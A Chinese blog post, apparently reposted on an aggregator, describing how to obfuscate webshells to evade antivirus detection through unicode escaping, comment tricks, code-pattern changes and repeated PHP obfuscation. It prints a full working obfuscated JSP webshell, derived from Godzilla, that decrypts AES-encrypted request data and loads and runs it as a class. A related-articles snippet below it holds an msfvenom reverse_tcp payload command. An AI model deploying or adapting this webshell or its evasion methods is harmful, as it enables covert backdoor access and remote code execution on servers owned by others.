Webshell混淆免杀的一些思路

这篇具有很好参考价值的文章主要介绍了Webshell混淆免杀的一些思路。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1、简介

为了避免被杀软检测到,黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路,帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上长时间地存活和执行。也就是说让webshell尽量和原本的代码不一致。

2、混淆字符

混淆字符是最基本的混淆webshell手段之一,混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将webshell的原本的字符编码成另外的字符。这里以哥斯拉的jspwebshell示例。因为java是默认支持unicode编码的。

Java代码示例:

然后可以上传vt查杀可以看到还是会被挺多杀软识别的。

现在可以通过给个提到的编码进行替换原有的关键字,再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已,只是证明能够通过一些字符编码使得特征不那么明显,实战中并不能完全靠字符编码绕过杀软,字符编码主要在实际混淆webshell中只能够起到一个辅助作用。

3、利用注释

利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别webshell中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过,这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。

Java示例:

然后这边是给原本的webshell加上注释之后,丢到vt上的查杀效果。

值得注意的是,现在大部分杀软会匹配程序注释规则,但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用Strings = "/*"; code...; String ss = "*/";code...就是webshell的一行正常代码。这样杀软可能会把两个字符串/* */中间的值认为是注释内容从而匹配恶意代码失败。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

4、改变代码特征

改变代码特征是指修改代码原本的写法但是不改变其功能,因为大部分杀软静态查杀webshell会有一个语句的特征,比如单纯的php一句话木马eval($_POST['x']);很容易就会被杀软查杀,但是服务器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性,可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装webshell某段代码,用三元表达式代替ifelse,用一些代替写法比如java中的int类型1可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加任意无用垃圾代码等。

部分代码截图:

可以看到免杀效果其实还不是很理想,因为实际过程中的免杀并不是单一的方法就能够完成的,往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。

全部代码:

<%@ page import="java.io.InputStream" %>
<%@ page import="javax.crypto.spec.SecretKeySpec" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.io.IOException" %>
​
<%! String xc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";
​
​
    class Register extends ClassLoader {
        public Register(ClassLoader username) {
            super(username);
        }
​
        public Class Query/*\u3333*/(byte[] password) {
            int len = password.length;
            String s1 = "/*";
            Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len);
            String s2 = "*/";
            return aClass;
        }
    }
​
    public byte[] x(byte[] s, boolean m) {
        // 这行代码换了个顺序
        byte[] bs = xc.getBytes();
​
        try {
            String sss = "/*";
            String decode = "\u0041\u0045\u0053";
            Cipher c = Cipher.getInstance(decode);
            String ccc = "*/";
​
            // if代替了原本的三元表达式
            int flag = 0xAFFFF;
            if (m) {
                flag = 1;
            } else {
                flag = 2;
            }
            String acaw = "/*";
            c.init(flag, new SecretKeySpec(bs, decode));
            String ANANAWU = "*/";
​
            String string1 = "/*";
            byte[] bytes = c.doFinal(s);
            String string12 = "*/";
            return bytes;
​
        } catch (Exception e) {
            return null;
        }
    }
​
    public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) {
        // 添加注释
        /*o.equls(null)*/
        int x = 10;
        int y = 20;
​
        // 这里有一些毫无意义的操作
        x = (x + y) * 2;
        y = x - y;
        String meaninglessString = "Hello, this is a meaningless string.";
​
        if (x > y) {
            x = x * 2;
        } else {
            y = y * 2;
        }
        String sss = "/*";
        o./*o.equls(null)*/equals/*o.equls(null)*/(bos);
        String ccc = "*/";
        o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);
        String ac = "//";
        o.toString/*o.equls(null)*/();
    }
​
​
    public void run2(byte[] data_bytes, HttpSession session) {
        String py = "\u0070\u0061\u0079" +/*as*/"" + "\u006c\u006f\u0061\u0064";
        Register REG = new Register(this.getClass().getClassLoader());
        Class cs = REG.Query(data_bytes);
        session.setAttribute(py, cs);
    }
​
    public Object os_return(HttpSession session) {
        String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";
        return  session.getAttribute(py);
    }
​
    public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException {
        byte[] x = x(bos.toByteArray(), true);
        os.write(x);
    }
​
    public void setAttribute(HttpServletRequest request, String key, Object value) {
        request.setAttribute(key, value);
    }
​
    public ByteArrayOutputStream getBos() {
        ByteArrayOutputStream arrOut = null;
        arrOut = new ByteArrayOutputStream();
        return arrOut;
    }
%><%
    try {
        String header = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");
        String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";
        int length = Integer.valueOf/*o.equls(null)*/(header);
​
​
        byte[] data_bytes = new byte[/*o.equls(null)*/length];
        InputStream is = request.getInputStream();
        // for循环替代了while循环
        for (int _num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));
​
        // 原本的false变成了 !true
        data_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);
​
        OutputStream os = response.getOutputStream();
        ByteArrayOutputStream bos = getBos();
​
        boolean flag = session.getAttribute(py) == null;
        if (flag) {
            run2(data_bytes, session);
        } else {
            setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/*aaaa*/""/*SSS*/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes);
            String s = "/*";Class cs = (Class) os_return(session);String c = "*/";
            Object f = (cs).newInstance();
            run(f, bos, pageContext);
            /* 垃圾代码 */
            int a = 10;
            int b = 20;
​
            for (int i = 0; i < 5; i++) {
                a += b;
                b -= a;
            }
​
            String meaninglessString = "This is a meaningless string.";
            int[] numbers = {1, 2, 3, 4, 5};
            for (int num : numbers) {
                if (num % 2 == 0) {
                    // 不执行任何操作
                } else {
                    // 不执行任何操作
                }
            }
            /* 垃圾代码 */
​
            pull(bos, os);
        }
    } catch (Exception e) {
    }
%>
​

免杀效果:

Ps:以上代码仅仅提供一个思路,实际过程中并不用如此多代码量,仅需要bypass掉目标服务器上的杀软即可。

5、利用代码加密工具

上面介绍了一些java代码的混淆,php的混淆通常来说更加简单,因为php这门语言特性,使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。

比如随便找一些php在线混淆哥斯拉的webshell

链接也是没有问题的

虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。

经过3次混淆的phpwebshell,反正我是认不出来了。

类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过,只需要搜索一下混淆器即可。

6、总结

文本主要分享了一下自己的一些webshell免杀思路。其实webshell免杀的思路无非就是修改webshell的特征,不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的,基本上手动混淆的webshell时效性也比用工具混淆的webshell要长一些。

更多网安技能的在线实操练习,请点击这里>>

  文章来源地址https://www.toymoban.com/news/detail-747868.html

到了这里,关于Webshell混淆免杀的一些思路的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall

    cs 上线 1. 生成 shellcode-c 或者 python 2. 打开 pycharm 工具,创建一个 py 文件,将原生态执行代码复制进去 shellcode 执行代码: 3.将生成的shellcode放到执行代码中,运行代码,cs成功上线 MSF 上线 1.执行命令,生成shellcode 命令:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129

    2024年02月09日
    浏览(52)
  • 常见的webshell的流量特征和检测思路

    一、webshell概述      Webshell客户端是一种连接Webshell后门,用于攻击者与服务器之间通信的程序。 二、Webshell流量监测思路 1、特征分析:分析流量特征中的关键特征,判断是否存在webshell流量特征; 2、请求模式:分析webshell流量的请求模式,可以通过分析URL,参数和头部信

    2024年02月09日
    浏览(35)
  • 菜刀、蚁剑以及冰蝎三款Webshell管理工具简介

    今天继续给大家介绍渗透测试相关知识,本文主要内容是菜刀、蚁剑以及冰蝎三款Webshell管理工具简介。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权设备进行渗透测试! 当前,在

    2024年02月06日
    浏览(51)
  • C++的一些避免踩坑的技巧

        C++是一种强大而复杂的编程语言,对于初学者来说,很容易踩到一些语法陷阱。在本篇博客中,我将介绍一些C++中常见的语法坑点,希望能够帮助读者更好地理解和掌握这门语言。     在C++中,两个整型数相除时,结果将会向零取整。例如,10/3的结果是3而不是4。这

    2023年04月25日
    浏览(37)
  • Nike登录的acw_sc__v2参数逆向详细思路分析(非常简单,建议入手)含AST解混淆代码

    最近周末闲着无事,看了一下Nike的登录,发现连环境都不用补acw_sc__v2这个参数,分享出来给大家趣味性娱乐一下 打开F12抓包看看登录 老样子复制curl给抓到Postman里面去分析一下 具体的参数查找就不演示了(就是简单的删参数看看啥需要啥不需要)。 最后可以发现,cookie只

    2024年02月09日
    浏览(43)
  • 一些性能优化思路与策略

    今天公司同事做技术分享,题目就是:一些性能优化思路与策略,我学习了一下然后做了如下总结。 响应时间:平均响应时间,TP95、TP99等等。这里需要注意,响应时间有服务端响应时间和客户端响应时间的区别,一般关注服务端的相应时间。 吞吐量:QPS、TPS 系统负载:并发

    2024年02月16日
    浏览(50)
  • 关于写“好“代码的一些思路

    目录 闲聊 正题 思想 基础思维 三十六种基础思维 编程思想 面向过程编程 面向对象编程 面向切面编程 设计原则 一般性原则 软件设计七大原则 编码 利用“好”配置 编写“好”注释 为什么写注释? 怎么写注释? 养成“好”习惯 1、及时沟通 2、安装P3C代码检查插件 3、规范

    2024年02月12日
    浏览(55)
  • 关于工作中爬取网站的一些思路记录

    声明:只是因为工作中需要,且基本不会对别人的网站构成什么不好的影响,做个思路记录!!! 尊重网站所有者、控制请求频率、遵守网站规则、尊重个人隐私 平常工作中难免会遇到需要爬取别人网站的需求,例如爬取兑换之类的流程,把接口爬取下来封装到项目中,这

    2024年02月07日
    浏览(53)
  • 关于信息学奥赛中的一些做题思路

    本文记录了笔者在刷题或比赛中运用到的一些做题思路 可以 适当 参考 首先显然有 (mathcal {O}(n^2)) 暴力 枚举每个子段,然后选择其中前k大的 那么可以发现有 贪心 策略: 选择k次最大值 那么考虑怎样求最大值 想到可以枚举每个起始位置,想办法计算从该位置开始符合要求

    2024年03月13日
    浏览(57)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包